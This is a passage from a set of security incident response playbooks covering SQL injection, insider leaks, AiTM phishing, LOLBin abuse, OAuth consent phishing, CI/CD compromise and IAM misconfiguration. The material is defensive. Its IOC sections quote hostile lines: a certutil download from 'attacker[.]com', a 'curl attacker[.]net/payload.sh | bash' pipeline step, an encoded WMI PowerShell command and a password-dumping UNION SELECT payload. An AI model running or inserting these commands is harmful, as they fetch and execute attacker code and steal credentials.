5.1 Scope and Intent

Action 4: Validate the user's intent and role

- Was this an accidental upload or insider threat?
- Cross-reference user’s job function with data accessed

Action 5: Examine accessed data

- Identify what data was transferred (e.g. client list, code repository, invoices)
- Determine sensitivity, classification and regulatory scope (e.g. GDPR, PDPA)

5.2 Exfiltration Timeline and Method

Action 6: Reconstruct upload sequence

- Pull full proxy or DNS logs showing interaction with cloud storage

- Check browser history, cache or uploaded files on disk
- Inspect if files were encrypted, renamed or compressed prior to transfer

Action 7: Check for persistence or automation

- Was any upload script found?
- Are there scheduled tasks or backdoor sync folders?

6. Recovery and Remediation

6.1 Cloud App Control and Blocking

Action 8: Enforce cloud access policy

- Use CASB or firewall rules to block access to unapproved cloud storage platforms
- Apply DLP policies on sanctioned platforms to prevent upload of classified data

Action 9: Review and tune DLP policies

- Deploy fingerprint-based DLP for key files and templates
- Alert on attempts to upload source code, financial records or bulk personal data

6.2 Organisation-Wide Hardening

Action 10: Restrict file transfer tools

- Block installation and usage of tools like rclone, winscp or encrypted zip tools
- Prevent execution of unauthorised portable apps via endpoint policy

Action 11: Monitor data staging behaviour

- Watch for use of Compress-Archive, 7z or suspicious USB activity before upload
- Track large zips created without legitimate workflow

7. Lessons Learned

7.1 Policy and Awareness Review

Action 12: Conduct insider risk training

- Raise awareness on data classification and transfer policy
- Remind users about acceptable use of personal cloud services

Action 13: Update SIEM rules and thresholds

rule: Potential Data Exfiltration to Cloud Storage
if outbound_traffic > 500MB
and domain in [dropbox.com, drive.google.com, onedrive.live.com]
and user_behavior == anomalous
then alert

Action 14: Integrate with CASB and SIEM

- Feed DLP alerts and cloud usage logs into SIEM for better correlation
- Setup geolocation alerts if upload happens from VPN or rogue access

8. Reporting and Documentation

- Incident ID: DRP-2025-008
- Severity: High (data leakage via unsanctioned cloud storage)
- Impact: 1.3 GB of internal documents, including customer contracts and system diagrams
- IOCs Collected:
    - Domain: drive.google.com
    - Tool: rclone.exe
    - File: financial_q1_summary_2025.zip
    - Timeline: Upload occurred between 3:15AM–4:00AM GMT+8
- MITRE Mapping:
    - Collection: T1114, T1081
    - Exfiltration: T1567.002, T1020
    - C2/Protocol Use: T1071.001

Detection and Response Playbook 9: Web Application Exploitation and Database Dump (SQL Injection)

1. Overview

Attack Type: Web Application Exploitation
Tactic: Initial Access, Collection, Exfiltration
Technique (MITRE ATT&CK):

- T1190 - Exploit Public-Facing Application
- T1505.003 - Server Software Component: Web Shell
- T1041 - Exfiltration Over C2 Channel
- T1071.001 - Application Layer Protocol: Web Protocols
- T1056.001 - Input Capture (If credentials dumped)

2. Attack Summary

An attacker targets a public-facing web application (e.g. login form, search box, feedback page) with malicious input designed to manipulate SQL queries. Successful SQL injection allows the attacker to access backend database contents directly. In advanced cases, the attacker uses UNION SELECT, xp_cmdshell or LOAD_FILE() functions to enumerate tables, dump credentials or pivot to other systems. The database dump may include usernames, passwords, emails or even sensitive business data.

3. Detection Steps

3.1 Web Application Firewall (WAF) Alerts

- Data Source: WAF (e.g. AWS WAF, Azure WAF, F5, Cloudflare)
- Detection Trigger:
    - Requests with suspicious payloads (e.g. ' OR 1=1--, UNION SELECT, information_schema)
    - Repeated access to dynamic pages with odd query patterns
    - HTTP requests with long URL parameters or special characters (', --, #, ;, sleep, benchmark, 0x)

3.2 Web Server and Database Logs

- Data Source: Apache/Nginx Logs, SQL Server/MySQL Logs
- Detection Trigger:
    - Repeated errors like syntax error, unexpected token or database error
    - Spike in failed SQL transactions
    - Unusual query patterns not associated with normal application logic

3.3 Application Behaviour Monitoring

- Data Source: SIEM, NDR, Runtime Application Self-Protection (RASP)
- Detection Trigger:
    - Large volume of SELECT queries from unauthenticated session
    - Querying sensitive tables: users, credentials, payments
    - File download or output of SQL query in response body

4. Response Actions

4.1 Containment

Action 1: Block the attacker's IP

- Add IP to WAF, firewall and SIEM blocklists
- Terminate any active sessions initiated by the attacker

Action 2: Disable vulnerable endpoint temporarily

- Take the affected application module offline if business permits
- Display a maintenance page and begin patching or code fix

Action 3: Freeze user accounts if data leakage confirmed

- If passwords or tokens were leaked, force password resets
- Lock high-risk accounts temporarily and monitor login attempts

5. Investigation

5.1 Identify Exploitation Path

Action 4: Review HTTP logs

- Pinpoint the exact input field or endpoint targeted
- Extract payloads and analyse attack techniques (e.g. tautology-based, blind SQLi, out-of-band)

Action 5: Map data access scope

- Query database logs to determine what data was accessed
- Determine if SELECT, DUMPFILE, LOAD DATA or xp_cmdshell was used

5.2 Validate Data Exposure

Action 6: Check if data was exfiltrated

- Analyse outbound traffic, especially large HTTP responses with sensitive fields
- Monitor for matching data on paste sites, dark web or public dumps

Action 7: Scan for backdoors

- Search for uploaded web shells or scripts (e.g. shell.php, cmd.aspx)
- Review directory permissions, server write access and file creation times

6. Recovery and Remediation

6.1 Fix the Vulnerability

Action 8: Patch the application

- Escape all user inputs with prepared statements or ORM libraries
- Apply input validation and server-side sanitisation

Action 9: Harden database configuration

- Disable functions like xp_cmdshell, LOAD_FILE and OUTFILE
- Restrict DB user privileges to only required operations

6.2 Improve Security Posture

Action 10: Enable full WAF ruleset

- Ensure WAF is in block mode with updated rule signatures
- Set threshold for automatic blacklisting on rule violation

Action 11: Implement DAST/SAST in CI/CD

- Introduce automated application scanning as part of development process
- Scan code for injection-prone patterns regularly

7. Lessons Learned

7.1 Root Cause and Process Review

Action 12: Conduct code audit

- Review all dynamic SQL queries and form inputs
- Identify any legacy modules or endpoints lacking sanitisation

Action 13: Improve detection capabilities

rule: SQLi Attempt on Web App
if user_agent not in known list
and request_uri contains [‘UNION SELECT’, ‘information_schema’, ‘--’, ‘sleep(’]
and response_code in [500, 403]
then alert

Action 14: Review data access policies

- Classify sensitive data and restrict read access
- Enable database activity monitoring (DAM)

8. Reporting and Documentation

- Incident ID: DRP-2025-009
- Severity: High (public application compromised, database access confirmed)
- Impact: 12,000 user records accessed; password hashes and emails exposed
- IOCs Collected:
    - Attacker IP: 203.120.34.75
    - Payload: ' UNION SELECT password FROM users--
    - HTTP Referer: https://targetsite.com/login
    - Dumped table: users_credentials
- MITRE Mapping:
    - Initial Access: T1190
    - Execution: T1505.003
    - Collection: T1081, T1114
    - Exfiltration: T1041, T1567.002

Detection and Response Playbook 10: Insider Threat via Privileged Data Access and Leak

1. Overview

Attack Type: Insider Misuse / Malicious Insider
Tactic: Collection, Exfiltration, Impact
Technique (MITRE ATT&CK):

- T1081 - Credentials in Files
- T1567.002 - Exfiltration Over Web Service
- T1537 - Transfer Data to Cloud Account
- T1078 - Valid Accounts
- T1056.001 - Input Capture (Optional)
- T1203 - Exploitation of Client Execution (Optional for privilege elevation)

2. Attack Summary

An employee with elevated privileges abuses legitimate access to download or collect sensitive information (e.g. payroll data, customer databases, trade secrets). The individual may attempt to leak this data through personal email, file sharing platforms, removable devices or encrypted cloud uploads. Motivations may include financial gain, revenge or future employment leverage. Detection is difficult as actions are performed using valid credentials and within allowed systems.

3. Detection Steps

3.1 User Behaviour Analytics (UBA)

- Data Source: SIEM with UEBA, DLP, Insider Threat Platforms
- Detection Trigger:
    - Privileged user accessing data they do not normally interact with
    - Abnormal file access patterns (e.g. HR staff accessing engineering data)
    - Spikes in access volume or after-hours access

3.2 File and System Activity Logs

- Data Source: File server logs, EDR, Sysmon
- Detection Trigger:
    - Mass file access or zip creation
    - File copies to USB devices or personal cloud folders
    - Usage of encryption or file wiping tools

3.3 Network Traffic and Email Logs

- Data Source: Proxy logs, Email gateway, DLP, CASB
- Detection Trigger:
    - Uploads to personal email accounts (e.g. Gmail, ProtonMail)
    - Transfer of files to unsanctioned cloud storage (e.g. WeTransfer, Dropbox)
    - Outbound encrypted traffic from unusual endpoints or users

4. Response Actions

4.1 Containment

Action 1: Freeze account and session

- Disable or suspend user account
- Terminate active sessions and revoke authentication tokens

Action 2: Isolate endpoint

- Quarantine the endpoint to preserve evidence
- Prevent further exfiltration or data destruction

Action 3: Prevent data movement

- Block data transfer to cloud or email using DLP
- Disable USB ports using EDR or GPO if needed

5. Investigation

5.1 Validate Intent and Access Scope

Action 4: Interview relevant personnel

- Gather HR input and user's reporting line context
- Validate whether data access was legitimate or outside normal duties

Action 5: Analyse file access logs

- Identify what files were accessed, downloaded or copied
- Check timestamps, folders accessed and file classifications

5.2 Exfiltration Method

Action 6: Review outbound traffic

- Look for file uploads over HTTPS or suspicious browser activity

- Analyse use of email or encrypted tunnel (e.g. VPN, TOR)

Action 7: Inspect for staging behaviour

- Use of Compress-Archive, WinRAR or portable storage
- Look for temporary storage locations or hidden directories

6. Recovery and Remediation

6.1 Secure Systems and Limit Exposure

Action 8: Reset credentials and revoke accesses

- Disable or delete insider's access across all platforms
- Rotate passwords for any shared or privileged accounts used

Action 9: Audit data sharing settings

- Review permissions on shared folders, cloud storage and collaboration tools
- Limit use of public sharing links and enforce approval workflows

6.2 Address Data Impact

Action 10: Identify leaked data

- Confirm scope of leakage (e.g. customer PII, financial data, source code)
- Notify affected stakeholders or regulators if legally required (e.g. PDPA, GDPR)

Action 11: Take legal or disciplinary action

- Consult HR, Legal and CISO on next steps
- Maintain forensic chain-of-custody if prosecution is pursued

7. Lessons Learned

7.1 Insider Threat Program Enhancement

Action 12: Implement Insider Risk Platform

- Integrate behavioural monitoring, sentiment analysis and access alerts
- Track privileged users and automate risk scoring

Action 13: Detection rule for privilege abuse

rule: Unusual Privileged User File Access

if user_role == privileged
and file_type == sensitive
and access_time outside_working_hours
and device == non-corporate
then alert

Action 14: Increase awareness and deterrence

- Communicate strict policies on data handling
- Post reminders and login banners with acceptable use guidelines

8. Reporting and Documentation

- Incident ID: DRP-2025-010
- Severity: High (internal data leak from privileged user)
- Impact: Exfiltration of confidential product roadmap and salary records
- IOCs Collected:
    - User: j.smith@company.com
    - Files accessed: Q3_Product_Plan.pdf, 2025_Salary_Sheet.xlsx
    - Exfil method: Compressed via 7z.exe, emailed via ProtonMail
    - Upload timestamp: 2025-07-21 23:48 GMT+8
- MITRE Mapping:
    - Collection: T1081
    - Exfiltration: T1567.002, T1041
    - Impact: Internal leak, possible legal and reputational consequence

Detection and Response Playbook 11: Credential Theft via MFA Bypass Using Adversary-in-the-Middle (AiTM)

1. Overview

Attack Type: Phishing with Real-Time Session Hijacking
Tactic: Initial Access, Credential Access
Technique (MITRE ATT&CK):

- T1557.002 - Man-in-the-Middle: Adversary-in-the-Middle
- T1566.002 - Phishing: Spearphishing Link
- T1110.001 - Brute Force: Password Guessing
- T1556.004 - Forge Web Credentials
- T1539 - Steal Web Session Cookie

2. Attack Summary

In this attack, a victim is lured into clicking a link to a fake login page crafted by the attacker, often built using reverse proxy tools such as Evilginx, Modlishka or Muraena. When the victim enters credentials and completes MFA, the attacker intercepts both the credentials and the valid session cookie. This allows the attacker to access the victim's account without needing the second factor again. Once inside, the attacker may perform account manipulation, data access or privilege escalation.

3. Detection Steps

3.1 Identity Provider and Authentication Logs

- Data Source: Azure AD, Okta, Google Workspace, PingID
- Detection Trigger:
    - Successful sign-in immediately following a failed login from a similar IP range
    - Session login without normal MFA challenge
    - Impossible travel (e.g. login from Malaysia, then Nigeria within 2 minutes)

3.2 Proxy and Network Logs

- Data Source: Secure Web Gateway, DNS logs, Firewall, CASB
- Detection Trigger:
    - Access to known AiTM phishing kits or domains with suspicious keywords (e.g. /session/login.php)
    - DNS queries for newly registered or short-lived domains
    - Access to URL with valid company SSO login branding hosted on untrusted domains

3.3 SIEM and UBA Correlation

- Data Source: SIEM with UEBA module
- Detection Trigger:
    - Browser session fingerprint mismatch (new device or OS)
    - Authenticated session with unusual user agent or headers
    - Privileged user login via atypical region and browser

4. Response Actions

4.1 Containment

Action 1: Invalidate session tokens

- Use IdP or CASB to force logout all active sessions for the affected user
- Invalidate session cookies manually if possible

Action 2: Reset credentials

- Force password reset for affected account
- Re-provision MFA settings to invalidate stolen MFA trust token

Action 3: Block phishing infrastructure

- Block domain, IP and URL of the phishing site at DNS, proxy and email gateway
- Use threat intel feeds to identify similar domains or phishing kits

5. Investigation

5.1 Phishing Source and Scope

Action 4: Identify the email or lure vector

- Was it sent through a phishing email, SMS (smishing), social media or ads?
- Retrieve the original message and any clicked links

Action 5: Extract session details

- Analyse token-based authentication logs
- Capture and inspect session ID, IP address, user agent and geographic location used during token reuse

5.2 Timeline and Activity Analysis

Action 6: Reconstruct attacker session

- Review what was accessed post-login (email, file downloads, admin console)
- Check for privilege escalation attempts or new device registration
- Identify if the attacker attempted persistence (e.g. forwarding rules, OAuth apps)

6. Recovery and Remediation

6.1 Rebuild Account Trust

Action 7: Reset MFA settings

- Rebind MFA to new trusted device or method
- Remove old device fingerprints or remembered sessions

Action 8: Review OAuth/SSO App Access

- Revoke tokens granted to third-party applications
- Delete any suspicious app registrations in the identity system

6.2 Harden Authentication Policies

Action 9: Enforce phishing-resistant MFA

- Implement FIDO2/WebAuthn or hardware tokens
- Avoid push-based MFA for high-risk users (targeted executives, IT admins)

Action 10: Enable continuous session validation

- Configure access policy to enforce re-authentication or token re-validation when risk is detected
- Monitor for impossible travel and device anomalies continuously

7. Lessons Learned

7.1 Detection Engineering and Prevention

Action 11: SIEM rule for AiTM detection

rule: MFA Bypass or Session Hijack
if login_success
and no MFA_challenge
and session_cookie_issued
and geo_velocity > 5000 km/h

then alert

Action 12: URL threat hunting

- Search proxy logs for users accessing domains with:
    - /session/login.php
    - mfa-verify, signin-validation, secureid-portal
    - Hostnames impersonating your company (e.g. microsofft-login.com)

Action 13: Internal awareness and training

- Educate users on AiTM attacks with real-life examples
- Use simulations to measure user response to advanced phishing

8. Reporting and Documentation

- Incident ID: DRP-2025-011
- Severity: Critical (valid account access bypassing MFA)
- Impact: Compromise of global admin account with access to user provisioning and email
- IOCs Collected:
    - Phishing domain: secure-login365.online
    - IP: 102.89.34.12
    - Session hijack time: 2025-07-20 04:16 UTC
    - User Agent: Mozilla/5.0 (Linux; Android 11)
- MITRE Mapping:
    - Initial Access: T1566.002
    - Credential Access: T1557.002
    - Credential Use: T1556.004
    - Exfiltration: T1539

Detection and Response Playbook 12: Living Off the Land (LotL) Attack via LOLBins and WMI

1. Overview

Attack Type: Fileless Attack / Evasion via Native Tools
Tactic: Execution, Lateral Movement, Persistence
Technique (MITRE ATT&CK):

- T1047 - Windows Management Instrumentation (WMI)
- T1059.001 - Command and Scripting Interpreter: PowerShell
- T1218 - Signed Binary Proxy Execution (LOLBins)
- T1021.001 - Remote Services: SMB/Windows Admin Shares
- T1112 - Modify Registry
- T1547.001 - Registry Run Keys / Startup Folder

2. Attack Summary

In this scenario, an attacker compromises an endpoint and uses built-in Windows tools (e.g. wmic.exe, certutil.exe, powershell.exe) to move laterally, download payloads or achieve persistence. These techniques are designed to blend in with legitimate administrative activities and evade detection by using signed Microsoft binaries. No custom malware is deployed, making traditional signature-based detection ineffective. These types of attacks are often used by advanced threat actors and ransomware operators.

3. Detection Steps

3.1 Process Execution Monitoring

- Data Source: EDR, Sysmon, Windows Security Logs
- Detection Trigger:
    - Unusual invocation of trusted Windows utilities (e.g. certutil -urlcache, regsvr32, rundll32)
    - Execution of WMI commands from user context
    - Use of scripting engines (powershell.exe, cscript.exe, mshta.exe) with suspicious flags or URLs

3.2 Command-Line and Registry Analysis

- Data Source: EDR with command-line telemetry, Sysmon (Event ID 1 and 13)
- Detection Trigger:
    - Execution of binaries with obfuscated or encoded payloads
    - New entries in HKCU\Software\Microsoft\Windows\CurrentVersion\Run

    - cmd.exe or powershell.exe spawning from office applications

3.3 Network Traffic Monitoring

- Data Source: NDR, Proxy logs, Firewall
- Detection Trigger:
    - Outbound HTTP/HTTPS connections from WMI or PowerShell processes
    - Suspicious domains requested by signed binaries
    - Lateral movement using WMIExec, Remote WMI or PSEXEC from non-admin hosts

4. Response Actions

4.1 Containment

Action 1: Isolate the endpoint

- Use EDR or network quarantine tools to isolate system from internal and external access

Action 2: Block outbound traffic

- Immediately block known suspicious domains or IPs associated with the command-and-control (C2) infrastructure
- Prevent further lateral movement by disabling administrative shares if possible

Action 3: Disable abused binaries temporarily

- Use AppLocker, WDAC or endpoint policies to prevent execution of commonly abused LOLBins such as mshta, regsvr32, certutil

5. Investigation

5.1 Process Chain and Timeline

Action 4: Trace parent-child process relationships

- Investigate initial process that launched powershell.exe, cmd.exe or wmic.exe
- Review timestamps, parent process and command-line arguments

Action 5: Decode obfuscated commands

- Deobfuscate base64-encoded strings or hidden scripts
- Examine PowerShell transcripts or console history if enabled

5.2 Registry and Persistence Analysis

Action 6: Review autorun entries

- Inspect startup locations: Run/RunOnce keys, scheduled tasks, services
- Use tools like autoruns or raw registry analysis from EDR

Action 7: Search for indicators of lateral movement

- Review logs for WMI or PowerShell Remoting use
- Look for admin session logins or file share access anomalies across peer systems

6. Recovery and Remediation

6.1 Clean Persistence and Tools

Action 8: Remove all persistence mechanisms

- Delete malicious registry entries, scheduled tasks or dropped payloads
- Revert modified security settings or policies

Action 9: Restore known-good binaries

- Validate that legitimate Windows binaries have not been replaced or manipulated
- Scan for DLL search order hijacking or proxy execution

6.2 Environment Hardening

Action 10: Enforce application control

- Use AppLocker or Microsoft Defender Application Control (MDAC) to block unapproved use of scripting engines and LOLBins
- Prevent execution of non-signed scripts or binaries in user profile directories

Action 11: Enable advanced PowerShell logging

- Enable Module, ScriptBlock and Transcription logging
- Forward logs to SIEM for correlation and anomaly detection

7. Lessons Learned

7.1 Threat Modelling and Use Case Expansion

Action 12: Update detection content

rule: Suspicious LOLBin Execution
if process_name in [certutil.exe, mshta.exe, regsvr32.exe]
and command_line contains "http" or base64
and parent_process != trusted_management_tool
then alert

Action 13: Improve staff awareness

- Train IT and security teams to distinguish between normal admin activity and abuse of legitimate tools
- Provide red team simulation to validate detection rules

8. Reporting and Documentation

- Incident ID: DRP-2025-012
- Severity: High (fileless attack with lateral movement potential)
- Impact: Post-exploitation access established using native tools, no malware dropped
- IOCs Collected:
    - LOLBin used: certutil.exe -urlcache -f http://attacker[.]com/payload.txt payload.exe
    - WMI Command: wmic /node:"target-host" process call create "powershell.exe -enc ..."
    - Registry Key: HKCU\Software\Microsoft\Windows\CurrentVersion\Run\UpdaterService
- MITRE Mapping:
    - Execution: T1059.001, T1218
    - Lateral Movement: T1047, T1021.001
    - Persistence: T1547.001
    - Defense Evasion: T1218

Detection and Response Playbook 13: Abuse of OAuth Tokens and Consent Phishing in Cloud Environments

1. Overview

Attack Type: Cloud Identity Abuse / Token Hijacking
Tactic: Initial Access, Persistence, Credential Access
Technique (MITRE ATT&CK):

- T1550.001 - Use of Application Access Token
- T1528 - Steal Application Access Token
- T1566.002 - Phishing: Spearphishing Link
- T1136.003 - Create Cloud Account
- T1110.003 - Brute Force: Password Spraying
- T1078.004 - Valid Accounts: Cloud Accounts

2. Attack Summary

The attacker sends a phishing email containing a legitimate-looking Microsoft or Google OAuth authorization link. When the user clicks it, they are prompted to grant an application permission to access email, files or calendars. Upon approval, the attacker-controlled app receives an OAuth token, allowing access to the victim's data without needing username, password or MFA. These tokens can remain valid for long periods and allow silent data access, mailbox manipulation or persistence.

3. Detection Steps

3.1 Cloud Identity and OAuth Logs

- Data Source: Azure AD Sign-In Logs, Microsoft 365 Unified Audit Logs, Google Workspace Admin Logs
- Detection Trigger:
    - Consent granted to third-party apps from unknown publishers
    - App permission scope includes Mail.ReadWrite, Files.Read.All, offline_access, Directory.Read.All
    - App added by end-user without admin approval

3.2 Token and Application Behaviour Monitoring

- Data Source: Cloud App Security Brokers (CASB), SIEM, Endpoint logs
- Detection Trigger:
    - Use of access token from new or untrusted IP/geolocation
    - Token reuse for data exfiltration over a long period
    - High-volume API calls from a new application ID

3.3 Network and Content Monitoring

- Data Source: DLP, Proxy Logs, NDR
- Detection Trigger:
    - Unusual data access from a non-browser client
    - Traffic to Microsoft Graph API or Google Drive API outside normal application patterns
    - Access attempts after account password reset

4. Response Actions

4.1 Containment

Action 1: Revoke OAuth token

- Use identity provider tools (e.g. Azure AD Portal, Google Admin) to revoke access and refresh tokens issued to the malicious app

Action 2: Remove app consent

- Revoke delegated app permissions via portal or PowerShell
- Use admin consent workflows to review and clean unapproved app grants

Action 3: Alert and protect impacted users

- Notify affected user(s)
- Force logout and initiate re-authentication with newly issued tokens

5. Investigation

5.1 Trace Consent Phishing Event

Action 4: Locate source of the OAuth prompt

- Identify the original email, URL or website that delivered the consent request
- Review metadata of the application requesting access (App ID, publisher, scope, redirect URI)

Action 5: Map token usage

- Check token usage logs to identify:
    - What data was accessed
    - When and where the token was used
    - Whether multiple accounts were affected

5.2 Scope and Persistence Review

Action 6: Identify all affected users

- Search tenant-wide for users who approved the same app ID
- Look for similar phishing emails or links sent internally

Action 7: Inspect mailbox rules and delegated permissions

- Look for persistence mechanisms such as forwarding rules or shared mailbox access granted via API

6. Recovery and Remediation

6.1 Secure the Environment

Action 8: Rotate user credentials

- While OAuth token doesn't rely on passwords, rotate credentials to force invalidation of older sessions
- Apply MFA if not already enforced

Action 9: Restrict app registration and consent

- Prevent end-user consent to unverified third-party applications
- Enable admin-only app registration and approval

6.2 Improve Visibility and Controls

Action 10: Enable OAuth app governance

- Use Microsoft Defender for Cloud Apps or Google CASB to monitor and control OAuth app usage
- Block risky apps automatically based on behavior and risk score

Action 11: Configure real-time alerts

- Alert when:
    - Consent is granted to apps with high-privilege scopes
    - Token is used from rare locations
    - API usage spikes from OAuth clients

7. Lessons Learned

7.1 Detection Engineering

Action 12: SIEM detection rule for OAuth abuse

rule: Risky OAuth Consent Grant
if app_id not in allowlist
and scopes contains ["Mail.ReadWrite", "Files.Read.All", "Directory.Read.All"]
and user_role == "StandardUser"
then alert

Action 13: Regular audit schedule

- Monthly audit of:
    - All third-party app consents
    - Token usage trends
    - Scopes granted to all applications

8. Reporting and Documentation

- Incident ID: DRP-2025-013
- Severity: High (unauthorised access granted via OAuth token, bypassing MFA)
- Impact: Three user accounts accessed via malicious app; 500+ documents exfiltrated
- IOCs Collected:
    - Malicious App ID: ac98123f-34b2-4491-a7d1-ef22154cc9b9
    - Consent time: 2025-07-15 08:41 UTC
    - Phishing URL: https://login.microsoftonline.com/common/oauth2/v2.0/authorize?...
    - Token used from IP: 185.203.211.44
- MITRE Mapping:
    - Initial Access: T1566.002
    - Credential Access: T1550.001, T1528
    - Persistence: T1136.003
    - Defense Evasion: Use of legitimate APIs

Detection and Response Playbook 14: Supply Chain Attack via Compromised CI/CD Pipeline

1. Overview

Attack Type: Supply Chain / Build System Compromise
Tactic: Initial Access, Persistence, Defense Evasion, Impact
Technique (MITRE ATT&CK):

- T1195.002 - Supply Chain Compromise: Compromise Software Supply Chain
- T1554 - Compromise Client Software Binary
- T1087.002 - Account Discovery: Domain Accounts
- T1059.006 - Command and Scripting Interpreter: Python
- T1555.003 - Credentials from Web Browsers
- T1496 - Resource Hijacking (if used to mine crypto or run external tools)

2. Attack Summary

An attacker compromises a CI/CD pipeline such as Jenkins, GitLab CI, GitHub Actions or Azure DevOps by exploiting misconfigured access, leaked secrets or vulnerable plugins. The attacker then implants malicious code or backdoors into the build process, impacting the software artefacts distributed downstream. Alternatively, they use the CI/CD environment for unauthorised lateral movement, credential harvesting or internal reconnaissance. This results in poisoned releases, compromised libraries or embedded malware in customer-deployed applications.

3. Detection Steps

3.1 CI/CD System Logs and Audit Trails

- Data Source: Build pipeline audit logs, version control logs, CI/CD orchestration tools
- Detection Trigger:
    - New build steps or shell commands inserted into CI jobs
    - Modifications to .gitlab-ci.yml, Jenkinsfile, buildspec.yml
    - Unexpected builds triggered by unknown accounts or tokens

3.2 Source Code and Build Artefact Monitoring

- Data Source: Code repository logs, code scanning tools, build artefact hash comparisons
- Detection Trigger:
    - Hash mismatch between expected and built artefact
    - Presence of obfuscated or non-standard scripts in post-build steps

    - Injection of new dependencies from unverified sources

3.3 Network and Runtime Monitoring

- Data Source: NDR, EDR, Runtime Protection (e.g., container security)
- Detection Trigger:
    - CI/CD runners or agents making external connections to unknown IPs
    - Download or upload activity during build process unrelated to official repo
    - Runtime anomaly during container build or test execution

4. Response Actions

4.1 Containment

Action 1: Disable compromised pipeline and tokens

- Immediately disable affected CI/CD jobs, runners and credentials
- Revoke access tokens, API keys and personal access tokens used by attackers

Action 2: Block outbound traffic from CI/CD agents

- Stop communication to suspicious domains or IPs
- Use firewall policies to enforce egress controls on build infrastructure

Action 3: Quarantine poisoned artefacts

- Identify and remove compromised binaries from deployment pipelines, artifact repositories (e.g. Artifactory, Nexus) and CDN

5. Investigation

5.1 Entry Point Analysis

Action 4: Trace the attack origin

- Was access gained via stolen SSH key, OAuth token or plugin vulnerability?
- Check for exposed .env, .npmrc or credential files in public repos

Action 5: Review job history

- Identify who modified the CI scripts or pipeline configurations
- Investigate changes in job templates, container images or build plugins

5.2 Artefact and Code Analysis

Action 6: Analyse tampered build output

- Reverse-engineer added code or binaries to understand purpose
- Match against malware or threat actor TTPs

Action 7: Validate scope of compromise

- How many builds/releases are affected?
- Did any compromised artefact reach production or customer environments?

6. Recovery and Remediation

6.1 Secure the CI/CD Infrastructure

Action 8: Reset and reconfigure pipeline access

- Rotate all secrets, tokens and keys
- Enforce principle of least privilege on CI/CD roles
- Remove unnecessary plugins or third-party integrations

Action 9: Harden code repository controls

- Enforce code reviews and pull request approvals
- Enable branch protection rules
- Restrict who can modify CI/CD configuration files

6.2 Rebuild Trust in Artefacts

Action 10: Rebuild from clean code base

- Verify the integrity of source code
- Recompile and re-release clean builds with signed hashes

Action 11: Notify downstream consumers

- If artefacts were externally distributed, issue CVE/advisory
- Collaborate with legal and compliance teams to notify affected clients

7. Lessons Learned

7.1 Security Control Improvement

Action 12: Implement CI/CD pipeline monitoring

- Use tools like GitHub Advanced Security, GitLab Secure or runtime instrumentation

- Create audit trail for every CI/CD job execution and variable usage

Action 13: Add SIEM detection rule

```
rule: Suspicious CI/CD Modification
if pipeline_file_modified
and user_role != devops_admin
and job_inserts shell_command or external_url
then alert
```

Action 14: Enforce artefact signing and SBOM

- Require signed releases and store in secure, tamper-evident locations
- Generate and validate Software Bill of Materials (SBOM) for each build

8. Reporting and Documentation

- Incident ID: DRP-2025-014
- Severity: Critical (unauthorised modification of build pipeline)
- Impact: 3 internal tools and 1 open-source component compromised
- IOCs Collected:
    - Modified file: .github/workflows/deploy.yml
    - Malicious step: curl attacker[.]net/payload.sh | bash
    - IP: 185.201.32.109
    - Artifact hash: 81fb6a4d55e71844a89afcce76ac1f1a
- MITRE Mapping:
    - Initial Access: T1195.002
    - Execution: T1059.006
    - Persistence: T1554
    - Defense Evasion: Use of trusted pipeline tools

Detection and Response Playbook 15: Cloud Infrastructure Takeover via Misconfigured IAM Roles

1. Overview

Attack Type: Cloud Misconfiguration Exploitation
Tactic: Initial Access, Privilege Escalation, Impact
Technique (MITRE ATT&CK):

- T1078.004 - Valid Accounts: Cloud Accounts
- T1068 - Exploitation for Privilege Escalation
- T1098.001 - Account Manipulation: Additional Cloud Roles
- T1606.001 - Forge Web Credentials: Cloud Authentication
- T1210 - Exploitation of Remote Services

2. Attack Summary

An attacker identifies misconfigured IAM (Identity and Access Management) roles or policies in a public or internal cloud environment (e.g. AWS, Azure, GCP). By exploiting overly permissive roles (e.g. *:* policies, privilege escalation paths, sts:AssumeRole misconfigurations), they escalate from a low-privilege account to gain full administrative control. Once privilege is gained, they can exfiltrate data, spin up crypto-mining instances, create backdoor roles or destroy cloud resources.

3. Detection Steps

3.1 IAM Role and Policy Monitoring

- Data Source: CloudTrail (AWS), Azure Activity Logs, GCP Audit Logs
- Detection Trigger:
    - IAM role assumption from unexpected principals or IPs
    - New IAM roles or policies with wildcard (*) privileges created
    - sts:AssumeRole used by an untrusted account or new actor

3.2 Identity Behaviour Monitoring

- Data Source: SIEM with UEBA, CSPM tools (e.g. Prisma Cloud, Wiz, AWS Config)
- Detection Trigger:
    - Abnormal number of API calls related to IAM within short period
    - Role assumed followed by resource deletions, secrets reads or EC2 creation
    - Role assumption across accounts (cross-account trust exploitation)

3.3 Resource Action Monitoring

- Data Source: Cloud-native telemetry (CloudWatch, Azure Monitor), SIEM
- Detection Trigger:
    - Security groups, buckets or VMs modified by unusual role
    - Service account changes or new admin privileges granted to new users
    - Deletion of audit logs or creation of backdoor access keys

4. Response Actions

4.1 Containment

Action 1: Revoke or disable the misused role

- Immediately deny role assumption via policy update
- Disable access keys or remove login profile from affected IAM user or role

Action 2: Restrict permissions via SCP or conditional policies

- Apply Service Control Policies (SCPs) or conditional blocks at org/root level
- Limit high-risk IAM operations unless explicitly required

Action 3: Isolate the attacker session

- Use session ID to trace active operations
- Revoke temporary credentials and monitor residual activity

5. Investigation

5.1 Compromise Chain Analysis

Action 4: Review role trust policy

- Determine if external or internal identity was granted assume role capability
- Identify how the initial permissions allowed privilege escalation

Action 5: Check access history

- Review CloudTrail/Audit logs for:
    - Time and source IP of role assumption
    - API calls such as PutRolePolicy, AttachRolePolicy, CreateAccessKey
    - Lateral movement across regions or accounts

5.2 Exfiltration and Persistence Check

Action 6: Inspect data access

- Look for GetObject from S3 buckets, ListSecrets, ReadKeys operations
- Track file transfers, encrypted snapshots or sensitive service activity

Action 7: Detect persistence techniques

- Creation of new roles, API keys or policies that grant attacker re-entry
- Deletion of logs or resource tagging with external C2 indicators

6. Recovery and Remediation

6.1 Restore Access and Trust

Action 8: Rotate all access credentials

- Rotate access keys, session tokens and passwords for all high-privilege accounts
- Invalidate any third-party OAuth tokens that may have been used

Action 9: Remove unnecessary permissions

- Identify and clean up over-permissive roles or default service accounts
- Enforce least privilege model with fine-grained access control

6.2 Harden IAM Configuration

Action 10: Enforce strong role trust boundaries

- Block use of * in trust policies
- Require external ID and MFA for role assumptions when applicable

Action 11: Automate policy audit and drift detection

- Use CSPM tools to continuously audit IAM roles, trust policies and actions
- Alert on policy changes, new access keys and privilege escalations

